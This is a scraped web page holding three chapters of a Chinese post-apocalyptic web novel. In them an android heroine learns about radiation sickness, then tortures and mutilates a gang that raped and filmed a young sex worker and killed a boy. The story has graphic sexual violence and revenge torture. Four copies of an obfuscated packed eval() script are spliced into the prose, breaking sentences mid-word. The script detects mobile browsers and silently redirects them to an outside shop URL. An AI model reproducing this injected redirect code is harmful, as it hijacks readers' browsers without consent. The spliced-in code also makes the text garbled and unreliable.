除她以外,还有两人也对小说的结局发表了自己的看法。在书写大结局的文字下方,另有一蓝一黑两道歪歪扭扭的字迹。 蓝色字迹写:“哇,好感动哦T-T。” 黑色字迹写:“SB结局。” 打心底里,时却升起对黑色笔迹的浓浓赞同感。她闭上眼睛,整理小说中透露出的信息。 首先是辐射病的种类,除III型外,还有I型和II型。 其次是这个世界的教育体系,包括十年的基础教育,以及往后处在并列位置的专精教育和高等教育—— 脚步声响起。时却听出是流萤回来了。 流萤进门,弯腰摸摸闻声扑上来的奇奇,一眼看见时却手里拿的册子,眼神游移:“姐,你从哪里找到的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959999|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“奇奇在床底找玩具的时候带出来的。” 被叫到名字的德牧歪歪头,大概以为受到呼唤,甩着舌头跑到时却跟前,嘤嘤叫着直往她怀里拱。 “你回来得正好,”时却揉着怀里的狗头道,“我忍不住把它看完了,里面有的东西没看懂,恐怕也是忘了,正想等你给我说。” 流萤拿了包零食塞过来,时却看是屋子里为数不多的三级食物之一,就只接过放在边上,也不拆包装。见状,流萤又问要不要喝点什么,她摇摇头。 流萤坐到床上,背靠床头,曲起腿。沙发处在床头斜侧,她这样的姿势,腿再曲些,裙下能直接走光。时却上前,拉过一张薄被示意她盖上,再重新坐回去,简单说了希望和她聊聊常识的事情。 流萤攥着手下柔软的织物触感,眼神一闪:“姐,我们开始吧,你想问什么?” “要不先从这本小说开始?”时却扬扬册子,“这里面提到辐射病和工厂,还有教育……” 针对时却提出的三点,流萤磕磕巴巴地解释起来。 总的来说,小说里提及的背景全都与现实无异。 这之中,特殊工厂没有什么超出小说描述可说的,就是一种单纯的,对无监护人的未成年的救济手段。 教育体系的话,现实也是十年制的基础教育,带义务性质。居民完成基础教育后,可以视需求看是否要继续深造,深造方向包括接受高等教育或接受专精教育。 其中,高等教育以学术研究为主,学习目标主要是培养学术研究和科学创新能力,三年学制。专精教育以实务技能为主,更注重培养学生实际应用能力,两年学制。 居民需要先针对高等教育或专精教育进行备考,通过名为入学考的考试后,根据分数被拥有对应教育资质的学校录取,再进入学校进行深造。 至于辐射病,和时却想的一样,现实中也分为I型、II型和III型三种辐射病类型。 I型和II型辐射病均会快速致人死亡,这致人死亡的具体时间大约在一个月到一年之间。III型辐射病的话,相当于是进展极其缓慢的I型和II型;经过相关药物控制,病人一般能存活10-40年。 从症状上看,I型辐射病会使物种的外形高度不可逆地快速脱离原有形态;II型辐射病会使人的至少一种器官快速衰歇,即便进行相应器官的移植,移植后的器官通常来说也撑不了多久,除非持续不断地进行移植。 III型辐射病的病症,则是五花八门什么都有。 比较特殊的是,随着病程进展,III型辐射病的疾病发展终点十分明晰:即转为I型或II型。III型辐射病患者的主要病症,一般能够预示患者最后的死法。 “拿姐你举例子,”流萤道,“你是脑部出问题,八成会发展为II型辐射病。” 时却咂摸了一下。 也就是说,如果她真的有这个III型辐射病,主要表现为脑子不好使,那最后的死法就可能是一个月内发展至老年痴呆晚期,或者帕金森晚期。 “很多人都会得辐射病吗?”她问。 流萤苦笑:“姐,这话也就只有你会问,三岁小孩都知道,成年后是迟早发病的,毕竟我们每时每刻活在有害辐射里。” 13. 硬糖 时却没想到这个世界的辐射灾害如此严重,本以为防护罩和护身符加起来,足够完全抵消有害辐射对人体的影响。 她整理一番沈司奥说过的所有东西,就其中细节一一进行询问流萤。 囿于年龄和见识,实际上,流萤并未能提供十分深入有用的信息。 例如,她对情趣型仿生人有许多微妙的认识,这些认识基本集中在对情趣型仿生人的维护和清洗上。 又例如,她补充了些沈司奥一语带过的关于人工智能的讯息,说当今世界只有两个人工智能,分别叫女娲和盘古,是人类在遭受陨石雨后特地开发出来的。 女娲和盘古有独立意识,负责辅助人类生产护身符、防护罩和仿生物。至于更进一步地,为什么专门需要人工智能协助进行护身符、防护罩和仿生物这三种东西的生产,她说不出个所以然了。 时却的心态放得很平,主打一个新知道就赚到,用不到就当故事入耳,听得还满乐呵。 就像那些由沈司奥提供的、高度概括的信息会促使她想更详细地探究一样,流萤诉说的东西,也令她产生新的疑惑。 把这些疑惑暗自记下,在脑中列一长串清单,挨个深入,她迟早会弄清这个世界。 射入室内的阳光渐渐变了颜色,原本打在床头上侧的光斑也逐步下移。时却看眼时间,快到下午四点了。 流萤察觉出她有离意,上身前倾,攥起些盖在身上的毯子,张口想说什么,似乎有些纠结,又闭上嘴。 时却略带疑惑地瞧她。 流萤嘴唇嗫嚅两下,说:“姐,吃个饭再走吧,奇奇做饭可好吃了。” 奇奇原本眯着眼睛在打盹,听主人提到自己,立即呜呜起身,在时却和流萤之间蹦来跳去,发出有些刺耳的金属碰撞声。 这叫时却起了好奇心,摸摸德牧:“它还会做饭?”见流萤还在等自己答复,无所谓道:“好啊,让我瞧瞧它的厨艺。” 流萤看上去明显松了一口气:“进入烹饪模式。去看看还有什么菜。” 汪叫一下,奇奇前腿抬起,后腿撑地,身形拉长至原先的两倍有余,如人般两腿直立。 它的两只前爪里各自传出锐物摩擦玻璃的尖声,似花绽放般开裂为数瓣,自爪中心处伸出七根细长的钢铁手指。 有了类人的手,奇奇动作灵巧地打开冰箱门往里瞧,转头张嘴吐出个投影,是白底黑字的清单样式,冰箱内的存物一一罗列其上。 啪叽,啪叽,那投影接触似乎有些接触不良,存在轻微闪烁的情形,但并不影响阅读。 流萤问有时却什么忌口没有,或有什么特别想吃的没有,时却只想看奇奇做饭,暗自打算一会多给些报酬,毫不客气地连点好几道菜。 “奇奇听到没,就做这些。” 汪汪两声以作回应,奇奇动作熟练地淘米下锅,取了菜肉分门别类放好,拿起沥水篮将需要洗的叶菜先泡上,咚咚咚三下五除二切完肉,洗手,再去给根茎类削皮、切块,一切举动井井有条。 “奇奇算什么类型的仿生物?” 流萤道:“我也不知道。它原本是陪伴型的仿生狗,是我比较馋,攒钱找机械师给它做了改造,让它能靠内置的厨师模块做饭。” 米饭的香气逐渐弥散出来,二人看着奇奇准备好所有食材,打开抽风机,热锅倒油。 流萤腕上的手链传出滴滴轻响,她呼出全息投影低眼一扫,呼吸骤然沉重,脸颊咬肌轻微鼓动,抬头道:“姐,你是要去十二区待一阵的,对吧?” 终于步入正题了。时却回答:“对。” 流萤掀开薄被,鞋也不穿,赤脚走到沙发跟前蹲下,双手交错搭在时却的膝盖上。 被她触碰的时却维持着坐姿没动。 流萤仰头,感受着掌下坚实的肌肉触感,紧盯着面前人的眼睛说:“姐,所有的钱我都退你,刚才的钱我也不要,这次免费,怎么样?你只需要帮我一个小忙。” “说来听听。” 开放式厨房那边,唰,肉下锅,滋啦,热油飞溅,香气扑开,钻进鼻腔。 流萤略微收紧下巴。 “今天打我那个混混,叫了三人一起在这附近蹲守。姐,到了十二区你还可以再找我,这些都算我雇你的报酬,杀了他们,行吗?” 记忆中的自己绝对会为这样的问句大惊失色。时却搔搔脸,平静地反问:“你们老板不管?” “私活的规矩是,老板不抽成,只要弄不死人,进了治疗舱能救回来,就不管。” 时却低头,少女的黑色眼瞳里倒映着一点微亮的夕阳光,如浅淡夜色中燃起的弱小火焰。 ……实话实说,流萤长得很符合时却记忆中的主流审美:瘦小,皮肤白皙,五官精致秀气,由于年少,脸上还带有几分婴儿肥,更显得可爱。 能想象出来,如果这样的少女刻意作态,该有多惹人怜爱。时却多少明白了,为何在小巷里,流萤第一反应是装可怜,她一定靠这种伪装获益良多。 可此时此刻,她却放弃了试图获取怜爱和这种伪装。时却不知道她怎么想的。 少女一只膝盖高一只膝盖低地蹲着,臀部压在一只脚跟上,直着腰板。说实话,这姿势搭配她的裙子,是有些别扭的,不柔美,也不可怜。 即便在小巷里被拆穿过一次,时却不相信少女不能感觉出来,即便是假装出来的,“弱小”和“可怜”这两种特质,并非……一点儿也不能打动自己。 即便如此,当她说出“帮忙”和“杀人”两个要素时,态度显然并非恳请或乞求,而是交易。 我的筹码很少,可我要为一桩交易与你谈判。 哪来的倔强小妹。时却在心底叹了口气,嘴上道:“把事情说得更清楚点。” 流萤深吸口气,开始讲前因后果。 巷子里的混混最开始是她在奇趣泡泡浴里的客人,且是个消费时要么佩戴头套,要么戴口罩的匿名客。这样遮挡自身面容的客人并不少见,流萤起初也没在意。 打过几次交道后,两人逐渐熟了些,混混主动提出,要流萤挑她休息的时间去他落脚处,按私活算钱。 这阵子,正巧十三区来了最后一批用于治疗III型辐射病的药,流萤手头紧,不够钱买药,就答应了。 不想昨晚她到了约定地点,那就是个日租房,里头架了摄影器材,关一门,还跳出来三个不认识的男人。 混混是四人中负责交涉的家伙。他软硬兼施地对流萤说,钱绝对是会给够的,既然来都来了,她这又是私活,不如想开点,早配合早结束,否则闹得太难看,她免不了受点皮肉苦,到时他们拿速合剂随便涂一涂,保她不死,照样拍拍屁股走人,过后她还得额外花一笔高价治疗费。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960000|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 流萤没有选择的余地,只得配合。结果事了之后,混混直接翻脸不认人,丢下一人份的钱,和同伙扬长而去。 带着伤,流萤强撑着和其他人打听,终于有个从十四区过来的人想起,近两年来是有个团伙,专威胁做私活的性工作者拍片。 这个团伙的行动特征是,在一个区干上一二十票,就去下一个区。 由于每个区只会产生有限的受害人,受害人又碍于自己的身份几乎没有报警的,加之这个团伙拍的是不露脸的片子,每做完一票后便会销声匿迹几天到几周不等,分寸拿捏得极精准,因此对于这个团伙,警察多倾向于不优先处理,地头蛇们则也多懒得去管。 性工作者们只能要么不接私活,要么祈祷自己不要太过倒霉,以至于遇上他们。 “我在那个日租房躺到今天中午,原本也想就这么算了。”流萤双手的手指深深抠进掌心里,发着抖说,“有个姐姐劝我,‘做这个,遇到什么不是该的吗?’” “可我的的确确,实在咽不下这口气!他们不能只给一份钱的,你知道吗,姐,他们有四个……四个人!还拍了片子!” 她快速眨眼,努力不让眼泪掉出眼眶,咬牙道:“我准备去□□,找到人了,揍一顿出气,最好揍成这几天都下来不来的地的伤,让他死在十三区,或去十二区的路上。不料出了门,在大街上没走几步,我一转弯,就看见个人……那就是他!他竟然穿着昨天的衣服,躲也不躲,明晃晃走在大街上,似乎在找人。” 说到这,流萤深吸口气。 “我和个熟客做了交易,让他帮忙紧急找几个人过来。过了一会,那混混好像不找人了,拐进一条巷子里,似乎要遛,我怕他走,就拦他……剩下的,你都知道了。” 是的,剩下的发展,时却当然知道。她带了点随性地,在那条巷子口朝天打了一枪。 夕阳为眼前含泪少女的柔软发丝镀上了一层梦幻般的柔光,叫其看上去闪闪发亮。时却摸摸少女的头。 手腕上的终端震动。 沈司奥:[人死了,重伤不治,尸体已被警方带走,现场位置和目击者拍的几张照片发你。] 时却打开照片,一张张划过去。那几张照片拍得很清楚,轻易还原了男孩的死状。 他的尸体呈仰面倒着的姿势,腹部被扎数刀,身下是一片歪斜的拖曳痕迹。距离尸体越远,血迹越浓厚。 在那拖曳痕迹的距离尸体的最远端,留有几个分明是属于不同人的血脚印。自该最远端往尸体所在处,可见血迹边缘处零散分布有小小的巴掌印。 在痕迹的中段,一颗草莓硬糖嵌于血色中。 会吐,记忆中的自己此时绝对会哇一声吐出来,并为此做上好几天的噩梦。 这是时却的第一反应。手插进兜里,她摸到一颗包装滑腻的草莓硬糖,以及一个小巧硬实的纽扣轮廓。 她调出全息屏幕,查询之前放在混混钱包上的定位器,生成一副运动轨迹图。 上面显示,追踪目标当前停留在附近;将沈司奥发来的定位加入对比,弹出提示窗口:该点处于追踪目标的运动路径上。 舔舔嘴唇,女仿生人感到口舌一阵干燥;鬼使神差地,又想起初见男孩时闪过脑海中的所思所想。它阴魂不散,都已经是今天第三遍闪现了—— 她该是个怎样的人? 14. 小巷 “姐……?” 流萤的声音将时却拉回现实。时却扯扯嘴角,刚想说句怎么了,奇奇弄出一连串响动。 它从床底拖出张折叠餐桌和两把折叠椅,拎了抹布擦干净,寻了较空旷的位置展开,端上几盘菜、盛得冒尖的米饭和碗筷,变回四肢着地的狗狗形态。 “汪汪!” 夕照下,犬只与热气腾腾的饭菜的存在,显得这间不大的屋子充满家常气息。 时却叹了口气,拉流萤坐下,在一种类似低烧般的微微发热状态下,慢吞吞地动筷吃饭。 “饭后再说吧。”她道。 咔嚓,米饭、蔬菜和肉在齿间被捣烂、碾碎、细细研磨。咔嚓,米粒的粘稠触感、清爽的植物汁水与肥而不腻的脂肪香味交织,混成彼此不分的一团。 咔嚓,它们滑下咽喉,转为运转所需的能量。 咀嚼自有其特殊之处,它是需要生命活着才能进行的运动。 摇摇头甩散脑海里突然冒出的奇怪念头,时却咽下一口食物,轻轻放了碗筷,掏出兜里的草莓硬糖,撕开包装。 糖果送入嘴中。甜腻廉价的香精味道霸道地占据整个口腔。 她莫名地有点想吐,胃部轻微抽痛。 终端又震动,沈司奥发来一个文件,上面介绍了四个人的简况,第一页便是小巷里的混混。 [拍片团伙的成员情况。] 这句话组成了微不足道的推力。自己被某种无形的力量搡了时却一下。 ……行吧。 她咔吱咔吱咬碎口中的糖果,将其包装揉吧揉吧揣衣服口袋里,问流萤要回之前给的钱。 “要说话算话,小姑娘。”她道。 “姐?”流萤看上去被吓到了,惴惴不安地掏出钱给她,“……你没事吧?” 时却摸摸她的头:“没事,我一会回来。” 出了门,和沈司奥聊了几句,给枪上膛,径直走入附近一条笔直却阴暗的小巷。小巷两侧的墙外,是老旧的有窗建筑。 巷内,即便在凛冽冬日中也翠绿欲滴的爬山虎顽强地攀附于墙面上,枝条或粗或细毫无规律地分布,连结成硕大蛛网,蛰伏着,等待猎物自己上门。 时却缓步走,很快便听四道脚步声于身后的巷口聚起,转头,之前见过的混混带着三个男人堵住来路。 那混混腰里插着他那把破小刀。其他三个男人里,一个板寸,一个长发,一个秃头,板寸和长发持枪,秃头手握半米长的电击棍。 巷子不宽,四个大男人往那一站,顿时挨挨挤挤。 四人中,秃头处于三人的最后,大抵认为这是场胜负已分的战斗,兴趣缺缺;混混站在最前头,板寸和长发均单手持枪,聊儿郎当地分别位于他左后侧和右后侧。 混混笃定时却死到临头,一改初见时的唯唯诺诺,得意之色溢于言表。他满面红光,抽出腰间那把豁口的小刀,面上狞笑在匕体上一闪而过。 “贱——” 几乎是他出声瞬间,时却以迅雷之势抽枪,直击板寸左眼。 “啊!!!” 板寸发出不似人般的惨叫,被剧烈的痛苦霎时攫取,丢开枪去捂脸,连连后退,和秃头撞成一团。 混混被他近距离的嚎叫惊到,下意识转头,人也往左侧退,正要撞到长发,长发反应极快,左手格挡,右手不管不顾扣下扳机,朝时却打出一枪。 砰! 时间仿佛拉得极长,慢到时却能轻易确定这颗子弹的出枪轨迹。 她往远离长发右手侧的方向迈开一步,与子弹擦肩而过,矮身压低重心,腿部蓄力,眉眼未抬,手腕微举,瞄准长发的右眼。 砰! 盲开一枪,没中。她又往长发右侧连开数枪,阻他闪入转角,以防其拿墙体作掩护。 长发又惊又怒,电光火石间,反应过来这次踢到铁板,咬咬牙发了狠,左手抽出把小刀顶在身为同伴的混混腰间,不顾对方鬼吼鬼叫,竟拿其当起了肉盾。 与此同时,板寸还在哀嚎,左眼深深凹陷,脸上被手抹得鲜血淋漓。 被他撞上的秃头不晓得怎么形式急转直下,脑子还懵着,度过最初的呆愣后,下意识将板寸往远离自己的方向搡开。 痛苦之下,板寸哪还能站得住,直愣愣往长发身上倒;长发不察,被砸个正着,身形一歪,右臂连同小半个肩膀晃出到混混的遮挡之外。 时却哪会放过这个好时机,电光火石间,开枪击中长发的右臂与右肩的连接处;剧痛袭来,长发大叫一声,枪和用来威胁混混的小刀均脱了手。 这下,唯二没负伤的混混和秃头惊觉,我方热兵器竟几个呼吸间被卸了干净,忙屁滚尿流地在地上找手枪。 长发还算能抗,咬牙忍痛伸手,要去夺秃头手里的电击棍。 时却得脑子有问题,才能放任他们重新捡了枪。并且还得是还闲得蛋疼,才打算还和这几个人渣肉搏一番。 她十分干脆地给了每人两颗子弹,分别往左右腿打,四人中枪倒下,个个躺在地上,哀哀直叫。 长发仍不死心地在地上摸来摸去,试图去够就近的手枪。 时却冲上前踢开他,捡起两支手枪插到腰间,从口袋里摸出个叠好的黑色塑料袋,缴了四人身上所有武器和值钱的东西装好,丢在旁边。 她先去处理混混,抓住他一只手腕,单手拖他入小巷深处。 那混混吓破了胆,牙齿咯咯打颤,抖得像得了帕金森,涕泗横流,求爷爷告奶奶的叫饶命。 “你想讲什么来着,继续,贱字开头的。” 混混哭喊:“没、没有,您听错了,我们哥几个没打算来找您的茬,是来,对,是来找那个娘们儿的。” “不说实话,”时却弯腰拍拍他的脸,“巷子里就可认真地记我的脸呢,以为我瞎呐?后来又知道——” 她取出粉色纽扣,让其有编号0的一面正对混混。“——这个,这个在我这里,就着急忙慌带同伙过来了,对吧?” “我们无冤无仇,您,您不需……” 混混冷汗如雨下,结结巴巴说新想出的讨饶话。 因惊惧万分,他同时也在剧烈地喘气;不合时宜地,他鼻头一动,在如山般压下的恐惧,以及双腿的抽痛中,嗅到了那股劣质的草莓香精的味道。 那味道出自时却口中,是她的吐息所附带的。 草莓。糖。 草莓。糖。男孩。 更不合时宜地,他猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976856|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回忆起杀那男孩的前因后果。 ……因防护罩要失效,所以十三区很乱。 尤其是最后这几天,当地警方和帮派都忙着搬迁,无暇他顾。是以,做完昨晚那单后,他们放松了警惕,约着出去喝了个通宵。 结果,什么样的小贼,竟然就偷到他头上了,好死不死还偷走了母盘。他和同伙发现后,慌忙分散出去找,他运气不好,被昨晚玩过的表子撞到,纠缠好一阵,还被打了劫。 好在,等补买了终端后,同伙联系他,那小贼找到了。 接下来的事情就很简单了。他们笑,男孩哭。他们没当即杀了他,这样就能欣赏一条生命的濒死挣扎。 他们站在原地,看那瘦小的身躯蠕动着往外爬,一颗廉价的草莓糖半途从怀里掉出来。他还想吃来着,捡起来一看,都黏糊了,还散发着劣质的香精味,于是嫌弃地丢掉。 朦胧的,仿佛梦中般遥远的,在肾上腺素的作用下,他又想起一些利刃刺入人体时,那种破开有点韧劲的肉的手感。 不只有男孩带给过他这样残暴的欢愉。侵犯、撕裂他人身体的方式有很多种,很多人都是他快乐回忆的组成部分。 这种事他是很爱干的,很爽快,有极致的掌控的快感。 他们几个人一直很聪明,很有分寸,从来都是对那些千人枕的表子下手,要打架杀人,就总是以多围少。 一直都顺顺利利,没出过什么岔子,于是他们觉得小鱼吃虾米,天经地义,还能这样过很久。 ……他们忘记了,按照这个逻辑,大鱼吃小鱼,也是天经地义。 醍醐灌顶般,他打了个寒战,回过神来,瞳孔紧缩,从喉中嗬嗬挤出几个气音,面如死灰,不再言语。 时却将混混拖出一段距离后,竖着摆好,头冲巷口,任他仰面朝天,再去拖长发。 长发比混混顶事,直视视野中时却那张倒置的神情冷淡的脸,惨白着张失血过多的脸,露出比哭还难看的笑容。 “大姐,我们今个碰到您是踢到铁板了,这样,您想拿什么拿什么,我们还能给您转账,您知道我们的生意,应该也知道这生意还是有些赚头的。” 时却动作一顿。 长发以为她有些动心,更加明确地示弱:“您实在不爽,给我们哥几个再来点苦头降降火气也行,怎么着都行,只要还留我们一口气,我们都配合,绝无怨言。” “一口气。” 时却似笑非笑地重复,再不理会长发,将他以同样也是头朝巷口的姿势摆在混混边上,再如法炮制,去拖剩下的秃头和板寸。 不多时,在巷子深处,四人犹如四只长虫般面朝天排好。从巷口到往里,道道拖曳状的血痕形成鬼画符般的凌乱可怖景象。 从塑料袋里取出混混那把豁口的小刀,时却给他们下边那玩意一人来了一刀。 他们起先痛苦翻滚的幅度很大,可当发现撞到邻近的人会导致伤口扯动,更加疼痛后,便不敢大幅动作了,只得进一步用嘶吼、呻吟和啜泣发泄绝望和痛楚。 时却扔掉小刀往外走,走到半途,从衣服口袋里摸出那颗草莓硬糖的包装纸,丢到巷中央。 她抱臂站在巷口,道:“来,爬过来,留你们一口气。” 15. 蝎子 几辆警车离开警局,呜噫呜噫驶往解压好去处附近。 临近黑街时,拐过一个转弯,为首的警车旁出现一辆毫不起眼的摩托。坐在窗边的警察摇下车窗,打着哈欠往外瞧。 摩托上是位看上去有些凶相的骑手,腰间插了好几把手枪,身上溅有些干涸的血迹,看样子还挺新鲜。 感知到他的目光,骑手偏过头来微笑示意。 她握着摩托车把的双手长且有力,宛如某种劲韧的武器。不知出于什么原因,这对“武器”的腕部显出一点粘稠湿润的痕迹,像是不小心被速合剂之类的膏体蹭到了。 不稀奇,毕竟这都什么时候了。 警察想着,收回视线,心不在焉地问开车的同事:“哎,什么情况来着?” 同事:“寻仇,伤人者跑了,受害者四名。” “废话,这我能不清楚?说清楚点,我知道,是你的线人报的信。” 同事白他一眼,认真了些:“还记得早些时候我们接到的一个匿名线索吗?跨区团伙,以性工作者为作案目标的那个。” “记得,怎么?上头不是说这种当口查起来也麻烦,先不用理会吗?” “嘿嘿,绩效它自己送上门了。” 他直起身,微微睁大眼睛:“你是说……” “这四个重伤的人就是那团伙的所有成员,我们直接过去捡现成的,”同事道,“据线人说,那场面,啧啧,他们双腿被射穿,下面那玩意几乎给割断了,还被逼着从巷尾爬到巷头。要不是伤人那个一人各抹了点速合剂,估计等不到我们过去,就得大出血,去见阎王。” 警察微微睁大眼睛。 鬼使神差地,他扭头又去看窗外。那个身上即带着血,又有速合剂痕迹的骑手,已然消失。 “看什么呢?”同事问。 警察啊一声,含混地敷衍道:“没什么,没看什么。”然后摇上了窗。 * 事实上,骑手本人正发愁呢,越靠近解压好去处,就越发愁。 出来的急,时却忘记加流萤的终端好友,一会到了地方,还不知道怎么才能把人弄下楼。 ……所以说,一时上头要不得。 好在,等时却真来到楼下,流萤正守在楼道门前,还是穿着那身该遮的地方都不咋遮的毛裙,也不知道站了多久,嘴唇冻得青紫。 时却刹车,人不下来,掏出粉色纽扣。流萤看到上边贴着的“0”编号,如遭重锤般,感到一阵猛烈的眩晕。 “那几人追过来,其实是为了我意外得到的这个。”时却说,“送你了,手伸出来。” 她将粉色纽扣轻轻放到流萤颤抖的双掌中,拉住那只试图收回的细瘦手腕,又加上一大卷沾血的现金。 “刚去黑街卖东西得的,拿着。” 流萤几乎不敢去看自己伸出去的手了,只觉手心烫得要命。她的呼吸一下子变得极快,面容僵硬,结结巴巴道:“不,不,这是……” “是分赃。”时却摸摸流萤的头,“外面冷,回去吧,时间不早了,我也还有事。” 不等少女回话,她拧动油门调转车头,背过身摆摆手,头也不回地开走。 几秒钟过去,身后传来少女尖利的叫喊。 时却没分神仔细去听其中的内容,她觉得……听不听都行。那叫喊被耳畔鼓动的呼呼风声一搅和,很快变得七零八落,随后消退、隐没。 待离开了解压好去处一段路程后,鬼使神差地,她找了个地方停车,又调出男孩死亡时所在的具体地点。 她接连找了几家难得还开门的小便利店,终于找到家有卖散装草莓硬糖的,随意称上些,拎去了那个仓库前。 仓库周围敷衍地围着警戒线,但不见警察。也许是他们当下不是很想为此事劳心费神。 而时却真到了地方,才惊觉好像也没什么事情可以做。 于冬日的冰冷阳光的照射下,她在那个仓库的外围转了几圈,没进去,而是找了个地方站定,无所事事地含化了可能是两颗也可能是三四五颗糖。 如果有下辈子的话,小弟弟,希望你运气好一点。 她想着,把装糖果的袋子系好放在仓库外墙的一角,离开。 摩托在街道上行驶。 一段时间后,时却再次看向后视镜中。镜里人静静地作出回看的动作,眉眼稍微舒开了些,但明显还达不到“展颜”的程度。 时却的身体还残留着些许近似微醺的余韵,它因不久前的暴力而产生。那场暴力行动的确让她的某种沉郁情绪得到了发泄。 只是,这也并没有解决关键问题。 ——选择用暴力执行一场私刑,哪能塑造出一个人的全部? * 傍晚时分,时却完成所有采购,带着大包小包回到沈司奥的安全屋。 一进门就见客厅里,机械师神情严肃地坐在一地奇形怪样的零件中,认认真真地埋头干着活。 她蹑手蹑脚放下手里的东西,低眉顺眼地蹭过去,问有没有自己能帮上忙的地方。 沈司奥从心流中抽离出来,揉揉太阳穴,看她的眼神像班主任瞧班上最调皮的捣蛋鬼。 时却:有点子心虚.jpg。 “你问我能不能给你收尾,我是说能,你说动静大点有关系没,我是说没,”他清清嗓子,推眼镜,一开口便直击重点,“为了给你擦屁股,我可花了不少人情和金钱。” “是,是,”时却大小拇指靠在一起,其余三指并拢竖直,认真立誓,“保证让老板全须全尾到达十二区。” 沈司奥忍不住白她一眼:“那个硬盘呢?拿来。” 哦,粉色纽扣啊。 时却摸摸鼻子,垂头看脚尖,低眉顺眼,“送人了。” “交朋友的速度挺快。” 沈司奥对此没作过多评价,调出几张幼年的动物图样,问时却想要里面的哪种,他就装对应的仿生动物出来。 他解释道,那只仿生动物会一路和他们同行,以便掩人耳目,让自己能借由修仿生动物为借口动用工作台,从而进行时却的维修和保养。 “弄只猎犬呗,”时却随口说,“小小的德牧之类的。” “那就德牧。” 沈司奥点头,捡起两块异形零件,使其端部相互卡合,又问她要不要做个基线偏离测试。 时却往沙发上一瘫,倒了杯水,咕咚咕咚往嘴里灌,直呼要渴死了。 “基线偏离啥?那又是什么?” “用来分析仿生人的实际性格,重点检测其偏离预设人格的程度。” 水杯被放在茶几上,发出轻微的撞击声响。时却两指捻起几缕散落肩前的头发绕圈,哈哈一笑:“用什么测试,结果肯定偏了不少。” 谁家和平环境下长大的普通成年女性,能眼都不眨的虐打人啊? 完事后,还特平静地去黑街卖战利品换钱呢。 沈司奥听她这么说,也就不再劝。两人一个备背靠沙发,一个认真组装,相安无事地共处。 半晌,就着不规律的零件碰撞声响,时却合上眼睛,闭目养神。 又过了会。 “时却。” “嗯?” “明天早上带你去蝎子那里面试,通过的话,我们就能和蝎子一起走。” 时却睁眼,改为盘腿的坐姿。“具体要做什么?” “一般来说,只有些检验战斗能力的测试,相信对你来说不难。” “我尽力。” “还有件事情,”沈司奥用手指拨弄灵巧地拨弄着一个轴承,“我详细问了,跟蝎子上路的话,需要每天上交一定的受辐射物——就是被辐射后变异的植物或动物。你带着我的话,得上交两人份。” 时却没有意见。 在有后勤保障的前提下尽量多地参与进行战斗,积累战斗经验,对她来说不是坏事。黑街之行让她初步认识到了这个废土世界的一角:尚有基本的秩序在运行,但这秩序如同四处破洞的挡雨布。 “通过了的话,”沈司奥在键盘上敲击几下,“上路后给你做只这个。” 一只带翅膀的圆球投影浮现于半空,其表面上嵌有用于显示颜文字的LED屏幕。 圆球带着“-O-”的表情扑棱着左飞飞右飞飞,靠近时却,绕着她转了两圈,停在她肩膀上。 当然了,毕竟不是实物,时却半点感觉也没有。她伸出指头去碰圆球,指头毫无阻碍地穿了过去,犹如人手穿过一只幽灵。 “干什么的?” 沈司奥气定神闲道:“就当常识播放器吧,你没事多听听,漫无目的找陌生人聊天效率的不高。” 看来老金将二人的谈话复述给他了。时却对此毫不意外。这话她既然敢说,就不怕被沈司奥知晓。 他们本来就是基于各有所需而凑在一块的,她多展露些所求,不算得上什么坏事。 其实,她说那些话给老金听时候,多少是带了点随性的,没抱太大希望的;毕竟二人只同行十几天,沈司奥上道也行,不上道也罢,她都不亏。 只是没想到他这道上得这么快,整得时却有点不太好意思了都。想了想,她将今天一天的经历简单说了。 沈司奥道:“你说的那个流萤,也许出城后还会碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984905|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到。如果没猜错,解压好去处的人提前和蝎子谈好了,也会和蝎子一道走。” “不是说蝎子基本只招能打的?” “那是对散人,解压好去处的所有店铺联合起来,也是十三区股不小的势力。” 聊着聊着,两人的话题又绕回常识播放器上。时却说:“我还以为这种带有文娱教育性质的东西,都得在第二人生里才能找到。” 